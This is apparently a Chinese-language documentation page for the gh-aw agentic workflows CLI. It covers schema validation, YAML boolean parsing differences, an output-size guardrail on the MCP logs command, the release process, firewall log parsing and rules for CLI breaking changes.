pkg/parser/schemas/main_workflow_schema.json验证 .github/workflows/*.md 文件中的 Agent 工作流 frontmatter
pkg/parser/schemas/mcp_config_schema.json验证 MCP(Model Context Protocol)服务配置
工作原理

在根级别设置 "additionalProperties": false 后,验证器会拒绝任何未在 schema 的 properties 部分中明确定义的属性。这可以捕获常见的拼写错误:

  • 用 permisions 代替 permissions
  • 用 engnie 代替 engine
  • 用 toolz 代替 tools
  • 用 timeout_minute 代替 timeout-minutes
  • 用 runs_on 代替 runs-on
  • 用 safe_outputs 代替 safe-outputs
验证错误示例
$ gh aw compile workflow-with-typo.md
✗ error: Unknown properties: toolz, engnie, permisions. Valid fields are: tools, engine, permissions, ...
验证流程
graph LR
    A[Read workflow frontmatter] --> B[Parse YAML]
    B --> C[Validate against JSON schema]
    C --> D{Valid?}
    D -->|Yes| E[Continue compilation]
    D -->|No| F[Provide detailed error]
    F --> G[Show invalid fields]
    F --> H[Show valid field names]
嵌入二进制文件的 Schema

Schema 使用 //go:embed 指令嵌入 Go 二进制文件:

//go:embed schemas/main_workflow_schema.json
var mainWorkflowSchema string

这意味着:

  • Schema 变更需要运行 make build 才能生效
  • Schema 在运行时而非构建时进行验证
  • 无需随二进制文件分发外部 JSON 文件
添加新字段

向 schema 添加新字段时:

  1. 使用新属性定义更新 schema JSON 文件
  2. 使用 make build 重新构建二进制文件
  3. 添加测试用例以验证新字段是否有效
  4. 如果该字段面向用户,请更新文档

YAML 兼容性

YAML 有两个主要版本,它们对布尔值的解析行为互不兼容,会影响工作流验证。

核心问题
YAML 1.1 布尔值解析问题

在 YAML 1.1 中,某些纯字符串会自动转换为布尔值。工作流触发键 on: 可能会被误解为布尔值 true,而不是字符串 "on"。

示例:

# Python yaml.safe_load (YAML 1.1 parser)
import yaml

content = """
on:
  issues:
    types: [opened]
"""

result = yaml.safe_load(content)
print(result)
# Output: {True: {'issues': {'types': ['opened']}}}
#          ^^^^ The key is boolean True, not string "on"!

使用基于 Python 的工具验证工作流时,这会产生误报。

YAML 1.2 的正确行为

YAML 1.2 解析器会将 on、off、yes 和 no 视为普通字符串,而非布尔值。只有显式的布尔字面值 true 和 false 才会被视为布尔值。

示例:

// Go goccy/go-yaml (YAML 1.2 parser) - Used by gh-aw
var result map[string]interface{}
yaml.Unmarshal([]byte(content), &result)

fmt.Printf("%+v\n", result)
// Output: map[on:map[issues:map[types:[opened]]]]
//         ^^^ The key is string "on" ✓
gh-aw 如何处理此问题

GitHub Agentic Workflows 使用 goccy/go-yaml v1.18.0,这是一个符合 YAML 1.2 标准的解析器:

  • ✅ on: 会被正确解析为字符串键,而非布尔值
  • ✅ 工作流 frontmatter 验证可正常工作
  • ✅ 与 GitHub Actions YAML 兼容(GitHub Actions 也采用 YAML 1.2 解析)
兼容性流程
graph TD
    A[Workflow File] --> B{Parser Type?}
    B -->|YAML 1.1| C[Python yaml.safe_load]
    B -->|YAML 1.2| D[gh-aw / goccy/go-yaml]
    C --> E[on: parsed as True]
    D --> F[on: parsed as string]
    E --> G[False Positive]
    F --> H[Correct Validation]
受影响的关键字

YAML 1.1 会将以下内容视为布尔值(解析为 true 或 false):

解析为 true: on、yes、y、Y、YES、Yes、ON、On 解析为 false: off、no、n、N、NO、No、OFF、Off

YAML 1.2 会将以上所有内容视为字符串。只有以下内容是布尔值:true、false

建议
面向工作流作者
  1. 使用 gh-aw 编译器进行验证:

    gh aw compile workflow.md
    
  2. 不要依赖 Python yaml.safe_load 进行验证——它会对 on: 触发键产生误报。

  3. 表示布尔值时使用显式布尔值:

    enabled: true      # Explicit boolean
    disabled: false    # Explicit boolean
    
    # Avoid for boolean values:
    enabled: yes       # Might be confusing across parsers
    disabled: no       # Might be confusing across parsers
    
面向工具开发者
  1. 在集成 gh-aw 时使用 YAML 1.2 解析器:

    • Go:github.com/goccy/go-yaml
    • Python:ruamel.yaml(使用 YAML 1.2 模式)
    • JavaScript:yaml 软件包 v2+(默认使用 YAML 1.2)
    • Ruby:Psych(Ruby 2.6+ 默认使用 YAML 1.2)
  2. 在工具中注明解析器版本

  3. 考虑添加兼容模式,以便在 YAML 1.1 和 YAML 1.2 解析之间切换

MCP 日志防护机制

MCP 服务的 logs 命令包含自动防护机制,可避免获取工作流日志时响应内容过多。

工作原理
graph TD
    A[logs command called] --> B[Generate output]
    B --> C{Output size check}
    C -->|≤ 12000 tokens| D[Return full JSON data]
    C -->|> 12000 tokens| E[Return guardrail message]
    E --> F[Include schema description]
    E --> G[Provide suggested jq queries]
正常运行(输出 ≤ 令牌限制)

当输出在令牌限制内(默认值:12000 个令牌)时,命令会返回完整的 JSON 数据:

{
  "summary": {
    "total_runs": 5,
    "total_duration": "2h30m",
    "total_tokens": 45000,
    "total_cost": 0.23
  },
  "runs": [...],
  "tool_usage": [...]
}
触发护栏(输出 > 令牌限制)

当输出超过令牌限制时,命令会返回结构化响应,其中包含:

{
  "message": "⚠️  Output size (15000 tokens) exceeds the limit (12000 tokens). To reduce output size, use the 'jq' parameter with one of the suggested queries below.",
  "output_tokens": 15000,
  "output_size_limit": 12000,
  "schema": { ... },
  "suggested_queries": [
    {
      "description": "Get only the summary statistics",
      "query": ".summary",
      "example": "Use jq parameter: \".summary\""
    },
    ...
  ]
}
配置令牌限制

默认限制为 12000 个令牌(约 48KB 文本)。使用 max_tokens 参数进行自定义:

{
  "name": "logs",
  "arguments": {
    "count": 100,
    "max_tokens": 20000
  }
}

令牌估算约为每个令牌 4 个字符(OpenAI 的经验法则)。

使用 jq 参数

使用 jq 语法筛选输出:

仅获取摘要统计信息:

{ "jq": ".summary" }

获取运行 ID 和基本信息:

{ "jq": ".runs | map({database_id, workflow_name, status})" }

仅获取失败的运行:

{ "jq": ".runs | map(select(.conclusion == \"failure\"))" }

获取令牌使用量较高的运行:

{ "jq": ".runs | map(select(.token_usage > 10000))" }
实现详情

常量:

  • DefaultMaxMCPLogsOutputTokens:12000 个令牌(默认限制)
  • CharsPerToken:每个令牌 4 个字符(估算系数)

文件:

  • pkg/cli/mcp_logs_guardrail.go - 护栏的核心实现
  • pkg/cli/mcp_logs_guardrail_test.go - 单元测试
  • pkg/cli/mcp_logs_guardrail_integration_test.go - 集成测试
  • pkg/cli/mcp_server.go - 与 MCP 服务集成
优势
  1. 防止给 AI 模型返回过长的响应
  2. 提供包含具体筛选条件的指导
  3. 通过架构描述实现自描述
  4. 通过 jq 筛选保留功能
  5. 清晰说明触发护栏的原因

发布管理

该项目采用受 @changesets/cli 启发的简约变更集发布系统。

命令
version(仅预览)

version 命令在预览模式下运行,不会修改文件:

node scripts/changeset.js version
# Or
make version

该命令会:

  • 从 .changeset/ 目录读取所有变更集文件
  • 确定适当的版本升级级别(major > minor > patch)
  • 显示 CHANGELOG 条目的预览
  • 不会修改任何文件
release [type] [--yes|-y]

release 命令会创建实际发布版本:

node scripts/changeset.js release
# Or (recommended - runs tests first)
make release

该命令会:

  • 检查前置条件(工作树干净、位于 main 分支)
  • 使用新版本和变更内容更新 CHANGELOG.md
  • 删除已处理的变更集文件(如果存在)
  • 自动提交变更
  • 为此版本创建并推送 git 标签

标志:

  • --yes 或 -y:跳过确认提示
发布工作流
graph TD
    A[Add changeset files] --> B[Preview with version command]
    B --> C{Changes look good?}
    C -->|No| D[Modify changesets]
    D --> B
    C -->|Yes| E[Run release command]
    E --> F[Update CHANGELOG.md]
    F --> G[Delete changeset files]
    G --> H[Commit changes]
    H --> I[Create git tag]
    I --> J[Push tag to remote]
变更集文件格式

变更集文件是 .changeset/ 目录中的 Markdown 文件,带有 YAML 前置元数据:

"gh-aw": patch

Brief description of the change

升级类型:

  • patch - Bug 修复和小幅变更(0.0.x)
  • minor - 新功能,向后兼容(0.x.0)
  • major - 破坏性变更(x.0.0)
发布前置条件

运行 release 时,脚本会检查:

  1. 工作树干净: 所有变更必须已提交或暂存
  2. 位于 main 分支: 必须位于 main 分支才能创建发布版本
无变更集时发布

对于包含依赖项更新的维护版本:

# Defaults to patch release
node scripts/changeset.js release

# Or specify release type explicitly
node scripts/changeset.js release minor

# Skip confirmation
node scripts/changeset.js release --yes

脚本会:

  • 如果未指定类型,则默认发布 patch 版本
  • 向 CHANGELOG.md 添加通用的“维护版本”条目
  • 提交变更
  • 创建 git 标签
  • 将标签推送到远程

防火墙日志解析

防火墙日志解析器可分析 Agent 工作流运行产生的网络流量日志。

日志格式

防火墙日志采用空格分隔格式,包含 10 个字段:

timestamp client_ip:port domain dest_ip:port proto method status decision url user_agent

示例:

1761332530.474 172.30.0.20:35288 api.enterprise.githubcopilot.com:443 140.82.112.22:443 1.1 CONNECT 200 TCP_TUNNEL:HIER_DIRECT api.enterprise.githubcopilot.com:443 "-"
字段说明
  1. timestamp - 带小数部分的 Unix 时间戳(例如,“1761332530.474”)
  2. client_ip:port - 客户端 IP 和端口,或“-”
  3. domain - 目标域名:端口,或“-”
  4. dest_ip:port - 目标 IP 和端口,或“-”
  5. proto - 协议版本(例如,“1.1”),或“-”
  6. method - HTTP 方法(例如,“CONNECT”、“GET”),或“-”
  7. status - HTTP 状态码(例如,“200”、“403”),或“0”
  8. decision - 代理决策(例如,“TCP_TUNNEL:HIER_DIRECT”),或“-”
  9. url - 请求 URL,或“-”
  10. user_agent - 用户代理字符串(带引号),或“-”
请求分类
graph TD
    A[Parse log line] --> B{Check status}
    B -->|200, 206, 304| C[Allowed]
    B -->|403, 407| D[Denied]
    B -->|Other| E{Check decision}
    E -->|Contains TCP_TUNNEL, TCP_HIT, TCP_MISS| C
    E -->|Contains NONE_NONE, TCP_DENIED| D
    E -->|Other| F[Denied by default]

允许的指标:

  • 状态码:200、206、304
  • 包含以下内容的判定:TCP_TUNNEL、TCP_HIT、TCP_MISS

拒绝的指标:

  • 状态码:403、407
  • 包含以下内容的判定:NONE_NONE、TCP_DENIED

默认值: 拒绝(分类模糊时出于安全考虑)

输出示例
控制台输出
🔥 Firewall Log Analysis
Total Requests   : 8
Allowed Requests : 5
Denied Requests  : 3

Allowed Domains:
  ✓ api.enterprise.githubcopilot.com:443 (1 requests)
  ✓ api.github.com:443 (2 requests)

Blocked Domains:
  ✗ blocked-domain.example.com:443 (2 requests)
JSON 输出
{
  "firewall_log": {
    "total_requests": 8,
    "allowed_requests": 5,
    "blocked_requests": 3,
    "allowed_domains": [
      "api.enterprise.githubcopilot.com:443",
      "api.github.com:443"
    ],
    "blocked_domains": [
      "blocked-domain.example.com:443"
    ],
    "requests_by_domain": {
      "api.github.com:443": {
        "allowed": 2,
        "blocked": 0
      }
    }
  }
}
集成点

logs 和 audit 命令会自动:

  1. 在运行目录中搜索防火墙日志
  2. 解析 firewall-logs/ 或 squid-logs/ 目录中的所有 .log 文件
  3. 汇总所有日志文件中的统计数据
  4. 在控制台和 JSON 输出中包含防火墙分析结果
  5. 将结果缓存到 run_summary.json
实现

文件:

  • pkg/cli/firewall_log.go(396 行)- 核心解析器实现
  • pkg/cli/firewall_log_test.go(437 行)- 单元测试
  • pkg/cli/firewall_log_integration_test.go(238 行)- 集成测试

测试:

# Unit tests
make test-unit

# Integration tests
go test ./pkg/cli -run TestFirewallLogIntegration

CLI 重大变更规则

本节定义了 gh-aw CLI 中哪些情况构成重大变更。这些规则有助于维护者和贡献者在代码审查期间评估变更,并确保用户使用稳定。

概述

重大变更在开发和审查期间需要特别关注,因为它们可能会影响现有用户工作流。本节提供了识别重大变更的明确标准,以及处理这些变更的指导。

变更类别
重大变更(主版本升级)

以下变更始终属于重大变更,并要求:

  • 变更集类型为 major
  • 在 CHANGELOG.md 中提供迁移指导
  • 由维护者进行审查

1. 删除或重命名命令

属于重大变更的情况:

  • 完全删除命令(例如,删除 gh aw logs)
  • 重命名命令且不提供别名(例如,gh aw compile → gh aw build)
  • 删除子命令(例如,删除 gh aw mcp inspect)

过往版本中的示例:

  • 从 compile 命令中删除 --no-instructions 标志(v0.17.0)

2. 删除或重命名标志

属于重大变更的情况:

  • 删除标志(例如,删除 --strict 标志)
  • 更改标志名称且不保持向后兼容(例如,--output → --out)
  • 更改标志的短形式(例如,-o → -f)
  • 将原本有默认值的必需标志改为不再提供默认值

过往版本中的示例:

  • 移除 Copilot 操作中的 GITHUB_TOKEN 回退机制(v0.24.0)

3. 输出格式变更

属于重大变更的情况:

  • 更改 JSON 输出的结构(删除字段、重命名字段)
  • 更改用户可能按位置解析的表格输出中的列顺序
  • 更改特定场景下的退出码
  • 删除脚本可能依赖的输出字段

过往版本中的示例:

  • 更新 status 命令的 JSON 输出结构(v0.21.0):将 agent 替换为 engine_id,删除 frontmatter 和 prompt 字段

4. 行为变更

属于重大变更的情况:

  • 更改标志的默认值(例如,strict: false → strict: true)
  • 更改身份验证要求
  • 更改权限要求
  • 更改现有选项的语义

过往版本中的示例:

  • 将严格模式的默认值从 false 改为 true(v0.31.0)
  • 移除每个工具独立的 Squid 代理,统一网络过滤(v0.25.0)

5. 架构变更

属于重大变更的情况:

  • 从工作流 frontmatter 架构中删除字段
  • 将可选字段改为必需字段
  • 更改字段类型(例如,string → object)
  • 从枚举中删除允许值

过往版本中的示例:

  • 从主 JSON 架构中删除 "defaults" 部分(v0.24.0)
  • 删除已弃用的 "claude" 顶层字段(v0.24.0)
非破坏性更改(次要版本或补丁版本升级)

以下更改不会造成破坏性影响,通常需要:

  • 新功能使用 minor 变更集
  • 修复缺陷使用 patch 变更集

1. 添加内容

不会造成破坏性影响:

  • 添加新命令
  • 添加带有合理默认值的新标志
  • 为 JSON 输出添加新字段
  • 为架构添加新的可选字段
  • 为枚举添加新的允许值
  • 为新场景添加新的退出码

示例:

  • 为 status 命令添加 --json 标志(v0.20.0)
  • 添加 mcp-server 命令(v0.17.0)

2. 弃用

(处理得当时)不会造成破坏性影响:

  • 弃用命令(发出警告并保留功能)
  • 弃用标志(发出警告并保留功能)
  • 弃用架构字段(发出警告并保留功能)

弃用要求:

  • 将弃用警告打印到 stderr
  • 说明弃用情况和迁移路径
  • 至少在一个次要版本发布周期内保留已弃用功能
  • 安排在未来的主要版本中移除

3. 缺陷修复

(修复非预期行为时)不会造成破坏性影响:

  • 修复不正确的输出
  • 修复不正确的退出码
  • 修复过于宽松的架构验证

注意:修复用户依赖的缺陷可能需要发布破坏性更改通知。

4. 性能改进

不会造成破坏性影响:

  • 加快执行速度
  • 减少内存使用
  • 优化并行处理

5. 文档更改

不会造成破坏性影响:

  • 改进帮助文本
  • 添加示例
  • 说明错误消息
决策树:这是否属于破坏性更改?
graph TD
    A[CLI Change Proposed] --> B{Removing or renaming<br/>command/subcommand/flag?}
    B -->|Yes| BREAK1[BREAKING]
    B -->|No| C{Modifying JSON output<br/>structure?}
    C -->|Yes| BREAK2[BREAKING]
    C -->|No| D{Altering default<br/>behavior?}
    D -->|Yes| BREAK3[BREAKING]
    D -->|No| E{Modifying exit codes<br/>for existing scenarios?}
    E -->|Yes| BREAK4[BREAKING]
    E -->|No| F{Removing schema fields<br/>or making optional required?}
    F -->|Yes| BREAK5[BREAKING]
    F -->|No| SAFE[NOT BREAKING]

    BREAK1 --> REQ[Requires:<br/>- major changeset<br/>- Migration guide<br/>- Maintainer review]
    BREAK2 --> REQ
    BREAK3 --> REQ
    BREAK4 --> REQ
    BREAK5 --> REQ

    SAFE --> ACT[Allowed:<br/>- minor for features<br/>- patch for fixes]
贡献者指南

进行 CLI 更改时:

  1. 实施更改前先查看决策树
  2. 在变更集中清楚说明破坏性更改
  3. 为受破坏性更改影响的用户提供迁移指南
  4. 考虑向后兼容性——能否添加别名,而不是重命名?
  5. 移除功能前,至少在一个次要版本发布周期内使用弃用警告

破坏性更改的变更集格式:

"gh-aw": major

Remove deprecated `--old-flag` option

**⚠️ Breaking Change**: The `--old-flag` option has been removed.

**Migration guide:**
- If you used `--old-flag value`, use `--new-flag value` instead
- Scripts using this flag will need to be updated

**Reason**: The option was deprecated in v0.X.0 and has been removed to simplify the CLI.

非破坏性更改的变更集格式:

对于新功能:

"gh-aw": minor

Add --json flag to logs command for structured output

对于缺陷修复:

"gh-aw": patch

Fix incorrect exit code when workflow file not found
CLI 更改审查清单

审查者应核实:

  • 是否正确识别破坏性更改——此更改是否符合任何破坏性更改标准?
  • 变更集类型是否恰当——是否正确标记为 major/minor/patch?
  • 是否提供迁移指南——对于破坏性更改,是否有清晰的迁移文档?
  • 是否添加弃用警告——如果要弃用,是否会向用户发出警告?
  • 是否考虑向后兼容性——能否在不破坏兼容性的情况下完成此更改?
  • 是否更新测试——测试是否覆盖更改后的行为?
  • 是否更新帮助文本——CLI 帮助是否准确?
退出码标准

CLI 使用标准退出码:

退出码含义更改是否会造成破坏性影响
0成功否(添加新退出码没问题)
1一般错误否(用于新错误时)
2用法无效否(用于新检查时)

破坏性更改:更改现有场景的退出码(例如,将特定错误类型的退出码从 1 改为 2)。

JSON 输出标准

添加或修改 JSON 输出时:

  1. 未升级主要版本前,绝不移除字段
  2. 未升级主要版本前,绝不重命名字段
  3. 未升级主要版本前,绝不更改字段类型
  4. 添加新字段是安全的——解析器应忽略未知字段
  5. 添加新的枚举值是安全的——解析器应妥善处理未知值
严格模式和安全性更改

更改严格模式时需特别考虑:

  • 将严格模式验证从警告改为拒绝属于破坏性更改(例如,v0.30.0)
  • 更改严格模式默认值属于破坏性更改(例如,v0.31.0)
  • 添加新的严格模式验证不属于破坏性更改(严格模式最初为选择启用)
参考资料
  • 变更集系统:版本管理详情请参阅“发布管理”部分
  • CHANGELOG:重大变更示例请参阅 CHANGELOG.md
  • 语义化版本:https://semver.org/

Go 模块摘要

scratchpad/mods/ 目录包含由 Go Fan 工作流生成的 gh-aw 仓库中 Go 模块使用模式的 AI 生成摘要。

用途

Go 模块摘要提供:

  • 模块概览和版本信息
  • 使用该模块的文件和 API
  • 来自模块 GitHub 仓库的研究发现
  • 改进机会(快速改进项、功能机会、最佳实践)
  • 文档和变更日志的参考资料
文件命名约定

模块摘要文件遵循统一的命名模式:将 Go 模块路径中的斜杠替换为连字符:

模块路径文件名
github.com/goccy/go-yamlgoccy-go-yaml.md
github.com/spf13/cobraspf13-cobra.md
github.com/stretchr/testifystretchr-testify.md
生成流程

摘要由 Go Fan 工作流生成:

graph LR
    A[Scheduled Trigger<br/>Weekdays 7 AM UTC] --> B[Load Cache Memory]
    B --> C[Select Next Module<br/>Round-Robin]
    C --> D[Analyze Module Usage]
    D --> E[Research GitHub Repo]
    E --> F[Generate Summary]
    F --> G[Write to scratchpad/mods/]
    G --> H[Update Cache Memory]
    H --> I[Commit & Push]

更新频率:工作日(周一至周五)每天 UTC 时间上午 7 点

轮换选择:工作流使用 cache-memory 跟踪上次分析的模块,确保依次更新每个模块。

使用指南

在代码库中使用 Go 模块时:

  1. 查看现有摘要,在 scratchpad/mods/ 中查找特定模块的使用模式和最佳实践
  2. 升级或重构模块用法时,参考改进机会
  3. 查阅摘要中提供的 API 文档链接,获取权威参考资料
  4. 如果模块使用模式发生重大变化,手动更新摘要(工作流将在下次运行时刷新摘要)
摘要内容

每份模块摘要均包含以下部分:

  • 模块概览:所用版本及一般用途
  • 使用分析:使用该模块的文件和代码位置
  • API 范围:所用的函数、类型和方法
  • 研究发现:来自模块仓库的信息(最新版本、文档、最佳实践)
  • 改进机会:改进模块用法的建议
  • 参考资料:文档、变更日志和 GitHub 仓库的链接

**上次更新:**2025-12-01 **维护者:**GitHub Next 团队

评论

支持 Markdown